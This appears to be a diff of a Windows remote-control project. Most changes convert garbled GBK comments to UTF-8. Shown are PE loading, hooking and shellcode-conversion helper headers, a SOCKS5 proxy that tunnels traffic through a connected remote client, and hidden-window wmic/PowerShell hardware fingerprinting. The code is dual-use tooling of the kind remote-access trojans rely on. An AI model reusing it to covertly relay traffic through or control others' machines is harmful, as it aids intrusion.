* @brief A definition of ExportedFunc class - used for storing the details of the exported function. Helper functions related to the export parsing.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Searching specific functions in PE's Exports Table.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief A definition of ExportsMapper class. Creates a lookup of all the exported functions from the supplied DLLs. Allows to associate an address with a corresponding function.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to operations on files. Wrappers for read/write.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to finding a base to which the module was relocated.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions and classes responsible for fixing Import Table. A definition of ImportedDllCoverage class.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Definitions of basic Imports Resolver classes. They can be used for filling imports when the PE is loaded.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to hooking the loaded PE. Reditecting/replacing a functions with another.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Parsing and filling the Import Table.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief A definition of ImportsUneraser class - for recovery of a partialy erased Import Table.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Definitions of various versions of Load Config Directory (new fields added with new versions for Windows).
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Fetching Load Config Directory and recognizing its version.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Dumping PE from the memory buffer into a file.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Wrappers over various fields in the PE header. Read, write, parse PE headers.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Loading PE from a file with the help of the custom loader.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Detecting in which mode is the PE in the supplied buffer (i.e. raw, virtual). Analyzes PE features typical for particular modes.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Converting PE from raw to virtual format.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Converting PE from virtual to raw format.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions for retrieving process information from PEB.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Operating on PE file's relocations table.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Reading from a PE module that is loaded within a remote process.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Parsing PE's resource directory.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to manual retrieving of PE resources.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to TLS Callbacks
*/

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#ifdef UNICODE
#define tcout wcout

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Miscellaneous utility functions.
*/

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#ifdef _WIN64
// Source code: https://github.com/hasherezade/pe_to_shellcode
#include <windows.h>

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include <Windows.h>
#define MAX_REDIR_SIZE 32

View File

@@ -1,8 +1,8 @@
#include "stdafx.h"
#include "stdafx.h"
#include "ProxyConnectServer.h"
#define MAX_SEND_BUFFER 65535 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><EFBFBD><EFBFBD> 1024*64
#define MAX_RECV_BUFFER 65535 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><EFBFBD><EFBFBD>
#define MAX_SEND_BUFFER 65535 // 最大发送数据长度 1024*64
#define MAX_RECV_BUFFER 65535 // 最大接收数据长度
CProxyConnectServer::CProxyConnectServer(void) :m_TcpServer(this)
{

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "HPSocket.h"
#include "SocketInterface.h"
#include "Buffer.h"
@@ -42,10 +42,10 @@ private:
void* m_pUser;
ContextList m_listFreePool;
CLock m_Locker;
int m_nPort; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
CONNID m_IDs[65535]; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
LONG m_bStop; // <EFBFBD>˿<EFBFBD>ֹͣ<EFBFBD><EFBFBD><EFBFBD>߿<EFBFBD><EFBFBD><EFBFBD>
int m_nMaxConnection; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_bIsRun; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
DWORD m_dwIndex; // <EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD>
int m_nPort; // 插件端口
CONNID m_IDs[65535]; // 所有连接ID
LONG m_bStop; // 端口停止上线控制
int m_nMaxConnection; // 最大连接数
BOOL m_bIsRun; // 运行状态
DWORD m_dwIndex; // 连接编号
};

View File

@@ -1,4 +1,4 @@
// ProxyMapDlg.cpp : implementation file
// ProxyMapDlg.cpp : implementation file
//
#include "stdafx.h"
@@ -51,10 +51,10 @@ BOOL CProxyMapDlg::OnInitDialog()
m_EditOther.SetLimitText(MAXDWORD);
CString str;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPCP<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 开启IPCP服务器
m_nPort = 5543;
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
MessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ");
MessageBox("初始化代理服务器失败!", "提示");
return FALSE;
}
TCHAR ip[256] = {};
@@ -62,16 +62,16 @@ BOOL CProxyMapDlg::OnInitDialog()
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
CString strString;
strString.Format("%s - <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
strString.Format("%s - 代理服务", m_IPAddress);
SetWindowText(strString);
str.Format(_T("SOCKS <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
str.Format(_T("SOCKS 代理软件请设置服务器为: <127.0.0.1:%d>\r\n"), m_nPort);
AddLog(str.GetBuffer(0));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Chrome(<28><><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>Chrome<EFBFBD><EFBFBD><EFBFBD><EFBFBD>)(&P)"));
pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("代理打开Chrome(请关闭所有Chrome进程)(&P)"));
}
return TRUE;
@@ -80,7 +80,7 @@ BOOL CProxyMapDlg::OnInitDialog()
void CProxyMapDlg::OnCancel()
{
m_bIsClosed = true;
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -103,7 +103,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
try {
switch (nCode) {
case NC_CLIENT_CONNECT:
wsprintf(szMsg, _T("%d <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\r\n"), index);
wsprintf(szMsg, _T("%d 新连接\r\n"), index);
break;
case NC_CLIENT_DISCONNECT:
if (pContext->m_bProxyConnected) {
@@ -112,7 +112,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
memcpy(lpData + 1, &index, sizeof(DWORD));
g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
}
wsprintf(szMsg, _T("%d <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<EFBFBD>\r\n"), index);
wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
break;
case NC_TRANSMIT:
break;
@@ -120,27 +120,27 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
if (pContext->m_bProxyConnected == 2) {
g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==<EFBFBD><EFBFBD> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
wsprintf(szMsg, _T("%d <== %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
pContext->m_bProxyConnected = 1;
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
wsprintf(szMsg, _T("%d <EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD>ʾ %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
} else if (pContext->m_bProxyConnected == 1) {
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
BYTE buf[11] = {};
if (lpData[0] == 5 && lpData[1] == 1 && (pContext->InDeCompressedBuffer.GetBufferLength() > 10)) {
if (lpData[3] == 1) { // ipv4
buf[0] = COMMAND_PROXY_CONNECT; // 1<EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD> ip v4 <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memcpy(buf + 1, &index, 4); // <EFBFBD>ĸ<EFBFBD><EFBFBD>ֽ<EFBFBD> <20>׽<EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
memcpy(buf + 5, lpData + 4, 6); // 4<EFBFBD>ֽ<EFBFBD>ip 2<EFBFBD>ֽڶ˿<EFBFBD>
buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接
memcpy(buf + 1, &index, 4); // 四个字节 套接字的编号
memcpy(buf + 5, lpData + 4, 6); // 4字节ip 2字节端口
g_pProxyMap->m_ContextObject->Send2Client(buf, sizeof(buf));
in_addr inaddr = {};
inaddr.s_addr = *(DWORD*)(buf + 5);
char szmsg1[MAX_PATH];
wsprintfA(szmsg1, "%d IPV4 <EFBFBD><EFBFBD><EFBFBD><EFBFBD> %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9)));
} else if (lpData[3] == 3) { // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
wsprintfA(szmsg1, "%d IPV4 连接 %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9)));
} else if (lpData[3] == 3) { // 域名
Socks5Info* Socks5Request = (Socks5Info*)lpData;
BYTE* HostName = new BYTE[Socks5Request->IP_LEN + 8];
ZeroMemory(HostName, Socks5Request->IP_LEN + 8);
@@ -150,10 +150,10 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
wsprintf(szMsg, _T("%d IPV6<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>֧<EFBFBD><D6A7>..."), index);
wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index);
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
break;
@@ -165,7 +165,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
buf[3] = lpData[3];
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
wsprintf(szMsg, _T("%d <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>, <20>Ͽ<EFBFBD> %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
}
}
break;
@@ -206,9 +206,9 @@ void CProxyMapDlg::OnReceiveComplete()
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
if (sendbuf[1] == 0) {
pContext_proxy->m_bProxyConnected = 2;
wsprintf(szMsg, _T("%d <EFBFBD><EFBFBD><EFBFBD>ӳɹ<EFBFBD>\r\n"), index);
wsprintf(szMsg, _T("%d 连接成功\r\n"), index);
} else
wsprintf(szMsg, _T("%d <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>\r\n"), index);
wsprintf(szMsg, _T("%d 连接失败\r\n"), index);
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
AddLog(szMsg);
}
@@ -234,13 +234,13 @@ void CProxyMapDlg::OnReceiveComplete()
AddLog(szMsg);
return;
}
wsprintf(szMsg, _T("%d ==><EFBFBD><EFBFBD> %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
wsprintf(szMsg, _T("%d ==> %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
AddLog(szMsg);
}
}
break;
default:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 传输发生异常数据
break;
}
}

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "stdafx.h"
#include "ProxyConnectServer.h"
#include "Resource.h"
@@ -30,7 +30,7 @@ typedef struct {
BYTE szIP;
} Socks5Info;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
// 代理测试: curl --socks5 127.0.0.1:5543 https://www.example.com
class CProxyMapDlg : public DialogBase
{
public:

View File

@@ -1,4 +1,4 @@

#ifdef _WINDOWS
#include "stdafx.h"
#else
@@ -21,52 +21,52 @@
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "bcrypt.lib")
// ִ<EFBFBD><EFBFBD>ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡӲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// 执行系统命令,获取硬件信息
std::string execCommand(const char* cmd)
{
// <EFBFBD><EFBFBD><EFBFBD>ùܵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 设置管道,用于捕获命令的输出
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĺܵ<EFBFBD>
// 创建用于接收输出的管道
HANDLE hStdOutRead, hStdOutWrite;
if (!CreatePipe(&hStdOutRead, &hStdOutWrite, &saAttr, 0)) {
Mprintf("CreatePipe failed with error: %d\n", GetLastError());
return "ERROR";
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// 设置启动信息
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// <EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 设置窗口隐藏
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = hStdOutWrite; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>򵽹ܵ<EFBFBD>
si.hStdOutput = hStdOutWrite; // 将标准输出重定向到管道
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 创建进程
if (!CreateProcess(
NULL, // Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
(LPSTR)cmd, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
NULL, // <EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
NULL, // <EFBFBD>̰߳<EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRUE, // <EFBFBD>Ƿ<EFBFBD><EFBFBD>̳о<EFBFBD><EFBFBD><EFBFBD>
0, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
NULL, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
NULL, // <EFBFBD><EFBFBD>ǰĿ¼
&si, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
&pi // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
NULL, // 应用程序名称
(LPSTR)cmd, // 命令行
NULL, // 进程安全属性
NULL, // 线程安全属性
TRUE, // 是否继承句柄
0, // 创建标志
NULL, // 环境变量
NULL, // 当前目录
&si, // 启动信息
&pi // 进程信息
)) {
Mprintf("CreateProcess failed with error: %d\n", GetLastError());
return "ERROR";
}
// <EFBFBD>ر<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>˾<EFBFBD><EFBFBD><EFBFBD>
// 关闭写入端句柄
SAFE_CLOSE_HANDLE(hStdOutWrite);
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 读取命令输出
char buffer[128];
std::string result = "";
DWORD bytesRead;
@@ -74,27 +74,27 @@ std::string execCommand(const char* cmd)
result.append(buffer, bytesRead);
}
// <EFBFBD>رն<EFBFBD>ȡ<EFBFBD>˾<EFBFBD><EFBFBD><EFBFBD>
// 关闭读取端句柄
SAFE_CLOSE_HANDLE(hStdOutRead);
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待进程完成
WaitForSingleObject(pi.hProcess, INFINITE);
// <EFBFBD>رս<EFBFBD><EFBFBD>̺<EFBFBD><EFBFBD>߳̾<EFBFBD><EFBFBD><EFBFBD>
// 关闭进程和线程句柄
SAFE_CLOSE_HANDLE(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
// ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><EFBFBD>Ϳո<EFBFBD>
// 去除换行符和空格
result.erase(remove(result.begin(), result.end(), '\n'), result.end());
result.erase(remove(result.begin(), result.end(), '\r'), result.end());
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 返回命令的输出结果
return result.empty() ? "ERROR" : result;
}
std::string getHardwareID_PS()
{
// Get-WmiObject <EFBFBD><EFBFBD> PowerShell 2.0+ <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (>=Win7)
// Get-WmiObject PowerShell 2.0+ 都可用 (>=Win7)
const char* psScript =
"(Get-WmiObject Win32_Processor).ProcessorId + '|' + "
"(Get-WmiObject Win32_BaseBoard).SerialNumber + '|' + "
@@ -111,16 +111,16 @@ std::string getHardwareID_PS()
return combinedID;
}
// <EFBFBD><EFBFBD>ȡӲ<EFBFBD><EFBFBD> ID<EFBFBD><EFBFBD>CPU + <EFBFBD><EFBFBD><EFBFBD><EFBFBD> + Ӳ<>̣<EFBFBD>
// 获取硬件 IDCPU + 主板 + 硬盘)
std::string getHardwareID()
{
// wmic<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><EFBFBD>Ƴ<EFBFBD><EFBFBD><EFBFBD>
// wmic在新系统可能被移除了
std::string cpuID = execCommand("wmic cpu get processorid");
std::string boardID = execCommand("wmic baseboard get serialnumber");
std::string diskID = execCommand("wmic diskdrive get serialnumber");
std::string combinedID = cpuID + "|" + boardID + "|" + diskID;
if (combinedID.find("ERROR") != std::string::npos) {
// ʧ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD> PowerShell <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 失败再使用 PowerShell 方法
std::string psID = getHardwareID_PS();
if (!psID.empty()) {
Mprintf("Get hardware info with PowerShell: %s\n", psID.c_str());
@@ -133,7 +133,7 @@ std::string getHardwareID()
return combinedID;
}
// ʹ<EFBFBD><EFBFBD> SHA-256 <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ
// 使用 SHA-256 计算哈希
std::string hashSHA256(const std::string& data)
{
HCRYPTPROV hProv;
@@ -167,7 +167,7 @@ std::string genHMAC(const std::string& pwdHash, const std::string& superPass)
return hashSHA256(pwdHash + " - " + key).substr(0, 16);
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD> 16 <20>ַ<EFBFBD><D6B7><EFBFBD>Ψһ<CEA8> ID
// 生成 16 字符的唯一设备 ID
std::string getFixedLengthID(const std::string& hash)
{
return hash.substr(0, 4) + "-" + hash.substr(4, 4) + "-" + hash.substr(8, 4) + "-" + hash.substr(12, 4);

View File

@@ -1,8 +1,8 @@
#pragma once
#pragma once
#include <string>
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˹<EFBFBD><EFBFBD>ܽ<EFBFBD><EFBFBD>м<EFBFBD><EFBFBD><EFBFBD>
// 对生成服务端功能进行加密
std::string getHardwareID();

Binary file not shown.

View File

@@ -1,7 +1,7 @@
// stdafx.cpp : ֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD>ļ<EFBFBD>
// 2015Remote.pch <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ΪԤ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
// stdafx.obj <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ԥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ

// stdafx.cpp : 只包括标准包含文件的源文件
// 2015Remote.pch 将作为预编译头
// stdafx.obj 将包含预编译类型信息
#include "stdafx.h"

View File

@@ -1,7 +1,7 @@
// stdafx.h : <EFBFBD><EFBFBD>׼ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>İ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵ<EFBFBD>
// <EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD>İ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>

// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
#pragma once
@@ -12,51 +12,51 @@
#endif
#ifndef VC_EXTRALEAN
#define VC_EXTRALEAN // <EFBFBD><EFBFBD> Windows ͷ<EFBFBD><EFBFBD><EFBFBD>ų<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define VC_EXTRALEAN // Windows 头中排除极少使用的资料
#endif
// <EFBFBD>Ƴ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>MFC<EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>֣<EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
// 移除对话框中MFC控件的支持减小静态编译程序的大小
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
#ifdef _DEBUG
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<EFBFBD><EFBFBD><EFBFBD>谲װVLD<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>װ<EFBFBD><EFBFBD>VLD, <20><EFBFBD><EBBDAB>װ·<D7B0><C2B7><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD><EFBFBD>Ϊ"VLDPATH", ·<EFBFBD><EFBFBD>Ϊ"D:\Program Files (x86)\Visual Leak Detector"
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>ʰ<EFBFBD>װĿ¼<EFBFBD><EFBFBD>дVLDPATH. <20><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD><D6B6>༭ÿ<E0BCAD><C3BF><EFBFBD><EFBFBD>Ŀ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD>Ŀ¼<C4BF>Ϳ<EFBFBD>Ŀ¼. <20>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD>VLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>ο<EFBFBD><CEBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
// VS2017<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>VLD: https://kinddragon.github.io/vld
// VS2019ʹ<EFBFBD>õ<EFBFBD>VLD<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>VS<EFBFBD>汾, <20>Ƽ<EFBFBD><C6BC><EFBFBD>: https://github.com/oneiric/vld/releases/tag/v2.7.0
